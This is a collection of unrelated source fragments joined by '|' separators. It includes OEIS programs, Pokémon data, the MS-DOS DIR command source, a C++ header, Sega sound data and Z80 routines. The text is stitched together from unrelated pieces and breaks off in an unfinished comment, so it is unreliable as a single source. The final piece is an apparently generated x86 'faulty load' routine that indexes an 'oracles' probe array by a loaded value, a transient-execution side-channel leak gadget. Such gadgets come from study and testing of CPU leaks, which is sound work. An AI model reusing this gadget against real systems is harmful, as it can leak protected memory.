fprintf(stdout, "%d\n", nsentences0);
int nsentences = transform_collins(p, argv[3], stdout);
if (nsentences != nsentences0) {
std::cerr << "## Error: number of sentences from second argument (" << nsentences0
<< ") is incorrect.\n## The correct number of sentences is " << nsentences
<< ".\n## Please rerun " << argv[0] << " with second argument = "
<< nsentences << std::endl;
exit(EXIT_FAILURE);
}
}
|
; A033940: a(n) = 10^n mod 7.
; 1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6,4,5,1,3,2,6
mov $1,4
mov $2,$0
lpb $2
mul $1,3
mod $1,28
sub $2,1
lpe
sub $1,4
div $1,4
add $1,1
mov $0,$1
|
db WEEPINBELL ; 070
db 65, 90, 50, 55, 85, 45
; hp atk def spd sat sdf
db GRASS, POISON ; type
db 120 ; catch rate
db 151 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F50 ; gender ratio
db 100 ; unknown 1
db 20 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/weepinbell/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_MEDIUM_SLOW ; growth rate
dn EGG_PLANT, EGG_PLANT ; egg groups
; tm/hm learnset
tmhm CURSE, TOXIC, HIDDEN_POWER, SUNNY_DAY, SWEET_SCENT, SNORE, PROTECT, GIGA_DRAIN, ENDURE, FRUSTRATION, SOLARBEAM, RETURN, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, SLUDGE_BOMB, REST, ATTRACT, CUT, FLASH
; end
|
;/*
; * Microsoft Confidential
; * Copyright (C) Microsoft Corporation 1991
; * All Rights Reserved.
; */
************************************************************
************************************************************
** **
** THIS FILE IS OBSOLETE, NO LONGER USED, DEFUNCT, **
** AND, IN FACT, DOESN'T EVEN EXIST. YOU ARE NOT **
** HERE. YOU MAY NOT BE ANYWHERE AT ALL. THIS **
** WHOLE THING COULDN'T POSSIBLY BE HAPPENING. **
** **
** See DIR.ASM for a reality check. **
** **
************************************************************
************************************************************
page 80,132
; SCCSID = @(#)tcmd1a.asm 1.1 85/05/14
; SCCSID = @(#)tcmd1a.asm 1.1 85/05/14
TITLE PART4 COMMAND Transient routines.
; Internal commands DIR,PAUSE,ERASE,TYPE,VOL,VER
INCLUDE comsw.asm
.xlist
.xcref
INCLUDE DOSSYM.INC
INCLUDE comseg.asm
INCLUDE comequ.asm ;AC000;
include ioctl.inc ;AN000;
.list
.cref
TRANDATA SEGMENT PUBLIC BYTE ;AC000;
EXTRN BadCD_ptr:word
EXTRN bits:word
EXTRN Bytmes_ptr:word
EXTRN comsw:word
EXTRN dir_w_syn:word ;AC000;
EXTRN dirdat_mo_day:word ;AC000;
EXTRN dirdat_yr:word ;AC000;
EXTRN dirdattim_ptr:word
EXTRN dirhead_ptr:word
EXTRN dirtim_hr_min:word ;AC000;
EXTRN Dirmes_ptr:word
EXTRN disp_file_size_ptr:word
EXTRN Dmes_ptr:word
EXTRN Extend_buf_ptr:word ;AN000;
EXTRN msg_disp_class:byte ;AN000;
EXTRN parse_dir:byte ;AC000;
EXTRN slash_p_syn:word ;AC000;
EXTRN string_buf_ptr:word
EXTRN tab_ptr:word ;AC000;
TRANDATA ENDS
TRANSPACE SEGMENT PUBLIC BYTE ;AC000;
EXTRN bytes_free:word
EXTRN charbuf:byte
EXTRN COM:byte
EXTRN Destisdir:byte
EXTRN Desttail:word
EXTRN dir_num:word
EXTRN Dirbuf:byte
EXTRN dirflag:byte ;AN015;
EXTRN display_ioctl:word ;AC000;
EXTRN display_mode:byte ;AC000;
EXTRN filecnt:word
EXTRN file_size_high:word
EXTRN file_size_low:word
EXTRN fullscr:word
EXTRN ID:byte
EXTRN lincnt:byte ;AC000;
EXTRN linlen:byte
EXTRN linperpag:word ;AC000;
EXTRN msg_numb:word ;AN022;
EXTRN parse1_addr:dword ;AC000;
EXTRN parse1_syn:word ;AC000;
EXTRN parse1_type:byte ;AC000;
EXTRN pathcnt:word ;AN000;
EXTRN pathpos:word ;AN000;
EXTRN srcbuf:byte ;AC000;
EXTRN string_ptr_2:word
TRANSPACE ENDS
TRANCODE SEGMENT PUBLIC BYTE
ASSUME CS:TRANGROUP,DS:NOTHING,ES:NOTHING,SS:NOTHING
;---------------
TRANSPACE SEGMENT PUBLIC BYTE ;AC000;
EXTRN arg:byte ; the arg structure!
TRANSPACE ENDS
;---------------
EXTRN cerror:near
EXTRN std_printf:near
PUBLIC catalog
break Catalog - Directory command
assume ds:trangroup,es:trangroup
;
; The DIR command displays the contents of a directory.
;
; ****************************************************************
; *
; * ROUTINE: CATALOG - display file(s) in directory
; *
; * FUNCTION: PARSE command line for drive, file, or path name.
; * DIR allows two switches, /P (pause) and /W (wide).
; * If an error occurs issue and error message and
; * transfer control to CERROR.
; *
; * INPUT: command line at offset 81H
; *
; * OUTPUT: none
; *
; ****************************************************************
CATALOG:
;
; Set up DTA for dir search firsts
;
mov dx,offset trangroup:Dirbuf ;AC000; Set Disk transfer address
mov ah,Set_DMA ;AC000;
int int_command ;AC000;
;
; Set up defaults for switches and parse the command line.
;
mov msg_numb,0 ;AN022; initialize message flag
mov di,offset trangroup:srcbuf ;AN000; get address of srcbuf
mov [pathpos],di ;AN000; this is start of path
mov [pathcnt],1 ;AN000; initialize length to 1 char
mov al,star ;AN000; initialize srcbuf to *,0d
stosb ;AN000;
mov al,end_of_line_in ;AN000;
stosb ;AN000;
mov si,81H ;AN000; Get command line
mov di,offset trangroup:parse_dir ;AN000; Get adderss of PARSE_DIR
xor cx,cx ;AC000; clear counter for positionals
mov ComSw,cx ;AC000; initialize flags
mov bits,cx ;AC000; initialize switches
mov linperpag,linesperpage ;AC000; Set default for lines per page
mov linlen,normperlin ;AC000; Set number of entries per line
mov lincnt,normperlin ;AC000;
dirscan:
xor dx,dx ;AN000;
invoke parse_with_msg ;AC018; call parser
cmp ax,end_of_line ;AN000; are we at end of line?
jne dirscan_cont ;AN000; No - continue parsing
jmp scandone ;AN000; yes - go process
dirscan_cont:
cmp ax,result_no_error ;AN000; did we have an error?
jz dirscan_cont2 ;AN000; No - continue parsing
jmp badparm ;AN000; yes - exit
dirscan_cont2:
cmp parse1_syn,offset trangroup:dir_w_syn ;AN000; was /W entered?
je set_dir_width ;AN000; yes - go set wide lines
cmp parse1_syn,offset trangroup:slash_p_syn ;AN000; was /P entered?
je set_dir_pause ;AN000; yes - go set pause at end of screen
;
; Must be filespec since no other matches occurred. move filename to srcbuf
;
push si ;AC000; save position in line
lds si,parse1_addr ;AC000; get address of filespec
push si ;AN000; save address
invoke move_to_srcbuf ;AC000; move to srcbuf
pop dx ;AC000; get address in DX
;
; The user may have specified a device. Search for the path and see if the
; attributes indicate a device.
;
mov ah,Find_First ;AC000; find the file
int int_command ;AC000;
jnc Dir_check_device ;AN022; if no error - check device
invoke get_ext_error_number ;AN022; get the extended error
cmp ax,error_no_more_files ;AN022; was error no file found
jz Dir_fspec_end ;AC022; yes -> obviously not a device
cmp ax,error_path_not_found ;AN022; was error no file found
jz Dir_fspec_end ;AC022; yes -> obviously not a device
jmp dir_err_setup ;AN022; otherwise - go issue error message
dir_check_device: ;AN022;
test byte ptr (DirBuf+find_buf_attr),attr_device ;AC000;
jz Dir_fspec_end ;AC000; no, go do normal operation
mov ComSw,-2 ;AC000; signal device
dir_fspec_end:
pop si ;AC000; restore position in line
jmp short dirscan ;AC000; keep parsing
set_dir_width:
test byte ptr[bits],SwitchW ;AN018; /W already set?
jz ok_set_width ;AN018; no - okay to set width
mov ax,moreargs_ptr ;AN018; set up too many arguments
invoke setup_parse_error_msg ;AN018; set up an error message
jmp badparm ;AN018; exit
ok_set_width:
or bits,switchw ;AC000; indicate /w was selected
mov linlen,wideperlin ;AC000; Set number of entries per line
mov lincnt,wideperlin ;AC000;
jmp short dirscan ;AC000; keep parsing
set_dir_pause:
test byte ptr[bits],SwitchP ;AN018; /p already set?
jz ok_set_pause ;AN018; no - okay to set width
mov ax,moreargs_ptr ;AN018; set up too many arguments
invoke setup_parse_error_msg ;AN018; set up an error message
jmp badparm ;AN018; exit
ok_set_pause:
or bits,switchp ;AC000; indicate /p was selected
push cx ;AN000; save necessary registers
push si ;AN000;
mov ax,(IOCTL SHL 8) + generic_ioctl_handle ;AN000; get lines per page on display
mov bx,stdout ;AN000; lines for stdout
mov ch,ioc_sc ;AN000; type is display
mov cl,get_generic ;AN000; get information
mov dx,offset trangroup:display_ioctl ;AN000;
int int_command ;AN000;
lines_set:
dec linperpag ;AN000; lines per actual page should
dec linperpag ;AN000; two less than the max
mov ax,linperpag ;AN000; get number of lines into
mov [fullscr],ax ;AC000; screen line counter
pop si ;AN000; restore registers
pop cx ;AN000;
jmp dirscan ;AC000; keep parsing
;
; The syntax is incorrect. Report only message we can.
;
BadParm:
jmp cerror ;AC000; invalid switches get displayed
ScanDone:
;
; Find and display the volume ID on the drive.
;
invoke okvolarg ;AC000;
;
; OkVolArg also disables APPEND, which will be re-enabled
; in the HeadFix routine, after we're done.
;
mov [filecnt],0 ;AC000; Keep track of how many files found
cmp comsw,0 ;AC000; did an error occur?
jnz doheader ;AC000; yes - don't bother to fix path
mov dirflag,-1 ;AN015; set pathcrunch called from DIR
invoke pathcrunch ;AC000; set up FCB for dir
mov dirflag,0 ;AN015; reset dirflag
jc DirCheckPath ;AC015; no CHDIRs worked.
jz doheader ;AC015; chdirs worked - path\*.*
mov si,[desttail] ;AN015; get filename back
jmp short DoRealParse ;AN015; go parse it
DirCheckPath:
mov ax,[msg_numb] ;AN022; get message number
cmp ax,0 ;AN022; Is there a message?
jnz dir_err_setup ;AN022; yes - there's an error
cmp [destisdir],0 ;AC000; Were pathchars found?
jz doparse ;AC000; no - no problem
inc comsw ;AC000; indicate error
jmp short doheader ;AC000; go print header
DirNF:
mov ax,error_file_not_found ;AN022; get message number in control block
dir_err_setup:
mov msg_disp_class,ext_msg_class ;AN000; set up extended error msg class
mov dx,offset TranGroup:Extend_Buf_ptr ;AC000; get extended message pointer
mov extend_buf_ptr,ax ;AN022;
DirError:
jmp Cerror
;
; We have changed to something. We also have a file. Parse it into a
; reasonable form, leaving drive alone, leaving extention alone and leaving
; filename alone. We need to special case ... If we are at the root, the
; parse will fail and it will give us a file not found instead of file not
; found.
;
DoParse:
mov si,offset trangroup:srcbuf ;AN000; Get address of source
cmp byte ptr [si+1],colon_char ;AN000; Is there a drive?
jnz dir_no_drive ;AN000; no - keep going
lodsw ;AN000; bypass drive
dir_no_drive:
cmp [si],".."
jnz DoRealParse
cmp byte ptr [si+2],0
jnz DoRealParse
inc ComSw
jmp short DoHeader
DoRealParse:
mov di,FCB ; where to put the file name
mov ax,(Parse_File_Descriptor SHL 8) OR 0EH
int int_command
;
; Check to see if APPEND installed. If it is installed, set all flags
; off. This will be reset in the HEADFIX routine
;
DoHeader:
; ORIGINAL APPEND CHECK CODE LOCATION ******************************
;
; Display the header
;
DoHeaderCont:
mov al,blank ;AN051; Print out a blank
invoke print_char ;AN051; before DIR header
invoke build_dir_string ; get current dir string
mov dx,offset trangroup:Dirhead_ptr
invoke printf_crlf ; bang!
;
; If there were chars left after parse or device, then invalid file name
;
cmp ComSw,0
jz DoSearch ; nothing left; good parse
jl DirNFFix ; not .. => error file not found
invoke RestUDir
mov dx,offset TranGroup:BadCD_ptr
jmp Cerror ; was .. => error directory not found
DirNFFix:
invoke RestUDir
jmp DirNF
;
; We are assured that everything is correct. Let's go and search. Use
; attributes that will include finding directories. perform the first search
; and reset our directory afterward.
;
DoSearch:
mov byte ptr DS:[FCB-7],0FFH
mov byte ptr DS:[FCB-1],010H
;
; Caution! Since we are using an extended FCB, we will *also* be returning
; the directory information as an extended FCB. We must bias all fetches into
; DIRBUF by 8 (Extended FCB part + drive)
;
mov ah,Dir_Search_First
mov dx,FCB-7
int int_command
push ax ;AN022; save return state
inc al ;AN022; did an error occur?
pop ax ;AN022; get return state back
jnz found_first_file ;AN022; no error - start dir
invoke set_ext_error_msg ;AN022; yes - set up error message
push dx ;AN022; save message
invoke restudir ;AN022; restore user's dir
pop dx ;AN022; restore message
cmp word ptr Extend_Buf_Ptr,Error_No_More_Files ;AN022; convert no more files to
jnz DirCerrorJ ;AN022; file not found
mov Extend_Buf_Ptr,Error_File_Not_Found ;AN022;
DirCerrorJ: ;AN022;
jmp Cerror ;AN022; exit
;
; Restore the user's directory. We preserve, though, the return from the
; previous system call for later checking.
;
found_first_file:
push ax
invoke restudir
pop ax
;
; Main scanning loop. Entry has AL = Search first/next error code. Test for
; no more.
;
DIRSTART:
inc al ; FF = file not found
jnz Display
jmp DirDone ; Either an error or we are finished
;
; Note that we've seen a file and display the found file.
;
Display:
inc [filecnt] ; Keep track of how many we find
mov si,offset trangroup:dirbuf+8 ; SI -> information returned by sys call
call shoname
;
; If we are displaying in wide mode, do not output the file info
;
test byte ptr[bits],SwitchW ; W switch set?
jz DirTest
jmp nexent ; If so, no size, date, or time
;
; Test for directory.
;
DirTest:
test [dirbuf+8].dir_attr,attr_directory
jz fileent
;
; We have a directory. Display the <DIR> field in place of the file size
;
mov dx,offset trangroup:Dmes_ptr
call std_printf
jmp short nofsiz
;
; We have a file. Display the file size
;
fileent:
mov dx,[DirBuf+8].dir_size_l
mov file_size_low,dx
mov dx,[DirBuf+8].dir_size_h
mov file_size_high,dx
mov dx,offset trangroup:disp_file_size_ptr
call std_printf
;
; Display time and date of last modification
;
nofsiz:
mov ax,[DirBuf+8].dir_date ; Get date
;
; If the date is 0, then we have found a 1.x level diskette. We skip the
; date/time fields as 1.x did not have them.
;
or ax,ax
jz nexent ; Skip if no date
mov bx,ax
and ax,1FH ; get day
mov dl,al
mov ax,bx
mov cl,5
shr ax,cl ; Align month
and al,0FH ; Get month
mov dh,al
mov cl,bh
shr cl,1 ; Align year
xor ch,ch
add cx,80 ; Relative 1980
cmp cl,100
jb millenium
sub cl,100
millenium:
xchg dh,dl ;AN000; switch month & day
mov DirDat_yr,cx ;AC000; put year into message control block
mov DirDat_mo_day,dx ;AC000; put month and day into message control block
mov cx,[DirBuf+8].dir_time ; Get time
jcxz prbuf ; Time field present?
shr cx,1
shr cx,1
shr cx,1
shr cl,1
shr cl,1 ; Hours in CH, minutes in CL
xchg ch,cl ;AN000; switch hours & minutes
mov DirTim_hr_min,cx ;AC000; put hours and minutes into message subst block
prbuf:
mov dx,offset trangroup:DirDatTim_ptr
call std_printf
invoke crlf2 ;AC066;end the line
dec byte ptr [fullscr] ;AC066;count the line
jnz endif04 ;AN066;IF the last on the screen THEN
call check_for_P ;AN066; pause if /P requested
endif04: ;AN066;
jmp scroll ; If not, just continue
;AD061; mov DirDat_yr,0 ;AC000; reset year, month and day
;AD061; mov DirDat_mo_day,0 ;AC000; in control block
;AD061; mov DirTim_hr_min,0 ;AC000; reset hour & minute in control block
;
; We are done displaying an entry. The code between "noexent:" and "scroll:"
; is only for /W case.
;
nexent:
mov bl,[lincnt] ;AN066;save for check for first entry on line
dec [lincnt] ;count this entry on the line
jnz else01 ;AX066;IF last entry on line THEN
mov al,[linlen]
mov [lincnt],al
invoke crlf2
cmp [fullscr],0 ;AC066;IF have filled the screen THEN
jnz endif02 ;AN066;
call check_for_P ;AN066; reinitialize fullscr,
endif02: ;AN066; IF P requested THEN pause
jmp short endif01 ;AN066;
else01: ;AN066;ELSE since screen not full
cmp bl,[linlen] ;AN066; IF starting new line THEN
jne endif03 ; count the line
dec byte ptr [fullscr] ;AN066; ENDIF
endif03: ;AC066;We are outputting on the same line, between fields, we tab.
mov dx,offset trangroup:tab_ptr ;Output a tab
call std_printf
endif01: ;AX066;
;
; All we need to do now is to get the next directory entry.
;
scroll:
mov ah,Dir_Search_Next
mov dx,FCB-7 ; DX -> Unopened FCB
int int_command ; Search for a file to match FCB
jmp DirStart
;
; If no files have been found, display a not-found message
;
DirDone:
invoke get_ext_error_number ;AN022; get the extended error number
cmp ax,error_no_more_files ;AN022; was error file not found?
jnz dir_err_setup_jmp ;AN022; no - setup error message
test [filecnt],-1
jnz Trailer
mov ax,error_file_not_found ;AN022;
dir_err_setup_jmp: ;AN022;
jmp dir_err_setup ;AN022; go setup error msg & print it
;
; If we have printed the maximum number of files per line, terminate it with
; CRLF.
;
Trailer:
mov al,[linlen]
cmp al,[lincnt] ; Will be equal if just had CR/LF
jz mmessage
invoke crlf2
cmp [fullscr],0 ;AN066;IF on last line of screen THEN
jnz endif06 ;AN066; pause before going on
call check_for_P ;AN066; to number and freespace
endif06: ;AN066; displays
mmessage:
mov dx,offset trangroup:Dirmes_ptr
mov si,[filecnt]
mov dir_num,si
call std_printf
mov ah,Get_Drive_Freespace
mov dl,byte ptr DS:[FCB]
int int_command
cmp ax,-1
retz
mul cx ; AX is bytes per cluster
mul bx
mov bytes_free,ax ;AC000;
mov bytes_free+2,dx ;AC000;
MOV DX,OFFSET TRANGROUP:BYTMES_ptr
jmp std_printf
shoname:
mov di,offset trangroup:charbuf
mov cx,8
rep movsb
mov al,' '
stosb
mov cx,3
rep movsb
xor ax,ax
stosb
push dx
mov dx,offset trangroup:charbuf
mov string_ptr_2,dx
mov dx,offset trangroup:string_buf_ptr
call std_printf
pop DX
return
check_for_P PROC NEAR ;AN066;
test byte ptr[bits],SwitchP ;P switch present?
jz endif05 ;AN066;
mov ax,linperpag ;AN000; transfer lines per page
mov [fullscr],ax ;AC000; to fullscr
invoke Pause
endif05:
ret ;AN066;
check_for_P ENDP ;AN066;
trancode ends
end
|
// Distributed under the Boost Software License, Version 1.0. (See
// accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
//
// Copyright (C) 2010,2017 Vicente J. Botet Escriba
#ifndef JASEL_FUNDAMENTAL_V3_STRONG_STRONG_TYPE_HPP
#define JASEL_FUNDAMENTAL_V3_STRONG_STRONG_TYPE_HPP
#include <experimental/fundamental/v3/strong/tagged.hpp>
#include <experimental/fundamental/v2/config.hpp>
namespace std
{
namespace experimental
{
inline namespace fundamental_v3
{
//! strong_type wraps an underlying type providing access to the underlying value with a specific @c Final tag.
//!
//! The main goal of the Final tag is double : make two strong_type types with different Final tag different types and
//! have access to the Final
//!
//! @Requires
//! @li @c Final must publicly inherit from this class to make it a model of <em>FinalUnderlying</em>
//! @li @c UT must be <em>CopyConstructible</em> and <em>Assignable</em>.
//!
//! @tparam Tag the tag type
//! @tparam UT the underlying type
//! strong_type provides a explicit constructor from convertibles to the underlying type.
//! Some StronType types could need
//! * implicit construction
//! => They must add an implicit constructor and forward (e.g. safe_bool)
//! * construction only from the underlying type (e.g. byte)
//! => They must add an SFINAE constructor
template <class Final, class UT, class Tag=Final>
struct strong_type
: tagged<Tag, UT>
{
using base_type = tagged<Tag, UT>;
using base_type::base_type;
using typename base_type::underlying_type;
//! explicit conversion from a base const class to the @c Final class.
//! this should be accessible only to the mixin classes, but there is no risk to provide it as public interface,
//! as it doesn't provide additional access to the clients of the class `Final.
//! The use of the prefix `_` is intended as make his use less friendly.
template<typename F>
static constexpr Final const& _final(F const* f) {
return static_cast<Final const&>(*f);
}
//! explicit conversion from a base class to the @c Final class.
template<typename F>
static constexpr Final& _final(F* f) {
return static_cast<Final&>(*f);
}
private:
friend struct backdoor;
friend struct const_backdoor;
class backdoor {
public:
constexpr backdoor(Final& f)
: that(&f) {}
//! explicit conversion to the underlying type.
JASEL_CXX14_CONSTEXPR underlying_type& _underlying() const {
return that->_value;
}
private:
Final* that;
};
class const_backdoor {
public:
constexpr const_backdoor(Final const& f)
: that(&f) {}
//! explicit conversion to the underlying type.
JASEL_CXX14_CONSTEXPR underlying_type const& _underlying() const {
return that->_value;
}
private:
Final const* that;
};
public:
// The following should be accessible only to mixins of the Final class.
// But there is no way to declare friendship transitively or by inheritance.
// In order to have this access safe, we would need to add the mixin concept in the language and say that any mixing has friend access to the class.
// Until then, we use a prefix _ to signal that these functions are almost private and usable only by mixins.
// This is a way to limit the access to the underlying storage
// Alternatively the access to a reference to the underlying type should be public,
// but this opens too much the strong type.
template<typename F>
static constexpr const_backdoor _backdoor(F const* f) {
return const_backdoor(_final(f));
}
constexpr const_backdoor _backdoor() const {
return const_backdoor(_final(this));
}
template<typename F>
static constexpr backdoor _backdoor(F* f) {
return backdoor(_final(f));
}
JASEL_CXX14_CONSTEXPR backdoor _backdoor() {
return backdoor(_final(this));
}
};
//! A MetaMixin is a MetaFunction class having the Final class as parameter
//! the mixin template class is a helper used to ovoid the repetition of the Final class.
// The mixin is create with a Final class and a list of MetaMixins
// It is equivalent to inherit from all the application of all the MetaMixins to the Final class
template <
typename Final,
typename ...MetaMixins
>
struct mixins : MetaMixins::template type<Final>...
{
};
//! The new_class template class takes a Final class, the UT underlying type and a list of MetaMixins
//! The result is a strong type with the Final tag and UT underlying type that inherits from the mixins
//! Usage: Define a Final class that inheriting from this class
template <
typename Final,
typename Tag,
typename UT,
typename ...MetaMixins
>
struct new_class : strong_type<Final, UT, Tag>, MetaMixins::template type<Final>...
{
using base_type = strong_type<Final, UT, Tag>;
using base_type::base_type;
};
//! The new_type template class takes a Tag class, the UT underlying type and a list of MetaMixins
//! The result is a strong type class with this new_type as Tag class, UT as underlying type that inherits from the mixins
//! Usage: Define an alias type of this class.
template <
typename Tag,
typename UT,
typename ...MetaMixins
>
struct new_type final : new_class<new_type<Tag, UT, MetaMixins...>, Tag, UT, MetaMixins...>
{
using base_type = new_class<new_type<Tag, UT, MetaMixins...>, Tag, UT, MetaMixins...>;
using base_type::base_type;
};
}
}
}
#endif // header
|
; A135711: Minimal perimeter of a polyhex with n cells.
; 6,10,12,14,16,18,18,20,22,22,24,24,26,26,28,28,30,30,30,32,32,34,34,34,36,36,36,38,38,38,40,40,40,42,42,42,42,44,44,44,46,46,46,46,48,48,48,48,50,50,50,50,52,52,52,52,54,54,54,54,54,56,56,56,56,58,58,58,58,58,60,60
mul $0,12
add $0,4
seq $0,196 ; Integer part of square root of n. Or, number of positive squares <= n. Or, n appears 2n+1 times.
add $0,1
mul $0,2
|
D7_Header:
sHeaderInit ; Z80 offset is $DE73
sHeaderPatch D7_Patches
sHeaderTick $01
sHeaderCh $02
sHeaderSFX $80, $05, D7_FM5, $90, $00
sHeaderSFX $80, $C0, D7_PSG3, $00, $00
D7_FM5:
sPatFM $00
ssModZ80 $01, $01, $C5, $1A
dc.b nF7, $07
sStop
D7_PSG3:
sVolEnvPSG v07
dc.b nRst, $07
ssModZ80 $01, $02, $05, $FF
sNoisePSG $E7
dc.b nA5, $4F
sStop
D7_Patches:
; Patch $00
; $FD
; $09, $03, $00, $00, $1F, $1F, $1F, $1F
; $10, $0C, $0C, $0C, $0B, $1F, $10, $05
; $1F, $2F, $4F, $2F, $09, $84, $92, $8E
spAlgorithm $05
spFeedback $07
spDetune $00, $00, $00, $00
spMultiple $09, $00, $03, $00
spRateScale $00, $00, $00, $00
spAttackRt $1F, $1F, $1F, $1F
spAmpMod $00, $00, $00, $00
spSustainRt $10, $0C, $0C, $0C
spSustainLv $01, $04, $02, $02
spDecayRt $0B, $10, $1F, $05
spReleaseRt $0F, $0F, $0F, $0F
spTotalLv $09, $12, $04, $0E
|
;
; ZX Spectrum OPUS DISCOVERY specific routines
;
; Stefano Bodrato - Jun. 2006
;
;
; - init the jump table
;
; $Id: opus_rommap.asm,v 1.5 2016-06-27 19:16:34 dom Exp $
;
SECTION code_clib
PUBLIC opus_rommap
PUBLIC _opus_rommap
PUBLIC P_DEVICE
PUBLIC P_TESTCH
opus_rommap:
_opus_rommap:
; start creating an 'M' channel
;rst 8
;defb $D4 ; Create microdrive system vars
; why does it crash ?!??
push af
push bc
push de
push hl
call $1708 ; Page in the Discovery ROM
ld a,(P_DEVICE+2)
and a
jr nz,mapped ; exit if already initialized
ld b,0 ; Table entry 0: "call physical device"
rst $30 ; 'read table' restart
defb $12 ; Table number 12h: SYSTEM
ld a,195 ; jp
ld (P_DEVICE),a
ld (P_DEVICE+1),hl ; Self modifying code
ld b,8 ; Table entry 8: "test channel parameters"
rst $30 ; 'read table' restart
defb $12 ; Table number 12h: SYSTEM
ld a,195 ; jp
ld (P_TESTCH),a
ld (P_TESTCH+1),hl ; Self modifying code
;jp $1748 ; Page out the Discovery ROM
mapped:
pop hl
pop de
pop bc
pop af
ret
; Jump table
SECTION bss_clib
P_DEVICE: defs 3 ; Call the hardware ('CALL A PHYSICAL DEVICE').
P_TESTCH: defs 3 ; test channel
|
IFDEF recursively_included
; this part is included from this same file at the end of regular part
DEVICE ZXSPECTRUMNEXT
ORG $F000 ; these should be page 63 set by non-included code
IncludedLabel: rst $00
.localLabel1: rst $08
Including2ndFile: INCLUDE "sld_basics.i.asm" ; and try here also regular non-recursive include
; following part is the "regular" one, which will include the part above
ELSE
DEVICE ZXSPECTRUMNEXT
CSPECTMAP "sld_basics.sym"
MODULE next
ORG $DFFF, 63 ; page 63 into E000..FFFF region (slot 7 active)
.localLabel1: nop ; but these are still in page 0 in C000..DFFF
.localLabel2: daa ; these should be in page 63
.localEqu1 EQU $CCCC
testMacro MACRO
; macro definition should not affect anything here
.localFromMacro:
ENDM
.localEqu2 EQU $EEEE
.localVar = $1111 ; DEFL/= symbol-variables are excluded from SLD
testMacro ; shouldn't emit machine code either
.localLabel3 ret ; this one should
.someDbBytes DZ "Hello 1337!"
ENDMODULE
DEVICE NONE
MODULE no_device
ORG $E100
DeviceNoneLabel: scf ; both should produce page -1
.localEqu2 EQU $EEEF
.localVar = $1112 ; DEFL/= symbol-variables are excluded from SLD
testMacro ; shouldn't emit machine code either
.someDbBytes DZ "Hello 1337!"
ENDMODULE
DEVICE ZXSPECTRUM48 ; just to test device data
DEVICE ZXSPECTRUM128
MODULE zx128
ORG $BFFF,4 ; page 4 into C000..FFFF region (slot 3 active)
DeviceZx128Label1: cpl ; for 8000..BFFF the default page is 2
DeviceZx128Label2: rrca ; for C000..FFFF the page is 4
Zx128Equ EQU $CCCC
.localEqu2 EQU $EEF0
.localVar = $1113 ; DEFL/= symbol-variables are excluded from SLD
testMacro ; shouldn't emit machine code either
.someDbBytes DZ "Hello 1337!"
ENDMODULE
DEFINE recursively_included
INCLUDE "sld_basics.asm"
ENDIF
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x18b72, %rax
nop
nop
nop
cmp $12716, %rsi
vmovups (%rax), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %rcx
nop
nop
nop
nop
nop
xor $50459, %rcx
lea addresses_A_ht+0x8cc6, %rdx
nop
nop
nop
nop
dec %rdi
mov $0x6162636465666768, %rbx
movq %rbx, %xmm1
vmovups %ymm1, (%rdx)
cmp %rbx, %rbx
lea addresses_UC_ht+0x13422, %rdx
nop
nop
nop
nop
nop
cmp $64324, %r12
mov (%rdx), %rsi
add $18935, %rbx
lea addresses_WC_ht+0x66f2, %rdi
nop
sub %rbx, %rbx
mov $0x6162636465666768, %rax
movq %rax, %xmm5
movups %xmm5, (%rdi)
nop
nop
sub %rdx, %rdx
lea addresses_WC_ht+0x2072, %rsi
lea addresses_WT_ht+0xc06f, %rdi
nop
nop
nop
inc %r13
mov $113, %rcx
rep movsw
cmp $6020, %rdx
lea addresses_A_ht+0x120f2, %rsi
lea addresses_normal_ht+0x6aea, %rdi
nop
nop
nop
nop
nop
cmp %r13, %r13
mov $81, %rcx
rep movsw
nop
nop
nop
dec %rbx
lea addresses_UC_ht+0x79f2, %rdx
and $60118, %rbx
mov $0x6162636465666768, %rcx
movq %rcx, (%rdx)
nop
nop
nop
nop
nop
dec %rcx
lea addresses_UC_ht+0x1acf2, %rbx
nop
nop
cmp %rsi, %rsi
movw $0x6162, (%rbx)
dec %r12
lea addresses_normal_ht+0x7bf2, %rsi
lea addresses_normal_ht+0x108b2, %rdi
nop
sub $8248, %rax
mov $105, %rcx
rep movsl
nop
nop
add $57162, %r13
lea addresses_normal_ht+0x15af2, %rsi
lea addresses_A_ht+0x5df2, %rdi
nop
nop
nop
add %rax, %rax
mov $84, %rcx
rep movsw
nop
nop
sub %rax, %rax
lea addresses_WT_ht+0x73f2, %r12
nop
nop
nop
nop
nop
and %rdx, %rdx
vmovups (%r12), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %rdi
nop
nop
nop
nop
nop
sub %rcx, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r14
push %r8
push %rbp
push %rcx
push %rdi
// Load
lea addresses_normal+0x934e, %r10
nop
nop
nop
sub $52383, %r11
mov (%r10), %r14w
nop
cmp $61390, %r10
// Store
lea addresses_A+0x118f2, %rdi
nop
nop
nop
nop
nop
dec %r8
mov $0x5152535455565758, %r11
movq %r11, %xmm3
movups %xmm3, (%rdi)
nop
add $3597, %r10
// Load
lea addresses_UC+0x6832, %r10
nop
nop
nop
and $52174, %rcx
movaps (%r10), %xmm6
vpextrq $1, %xmm6, %rdi
nop
nop
nop
add $36938, %rbp
// Faulty Load
lea addresses_US+0x78f2, %r11
nop
sub $39761, %r14
movups (%r11), %xmm7
vpextrq $0, %xmm7, %r8
lea oracles, %r14
and $0xff, %r8
shlq $12, %r8
mov (%r14,%r8,1), %r8
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r14
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
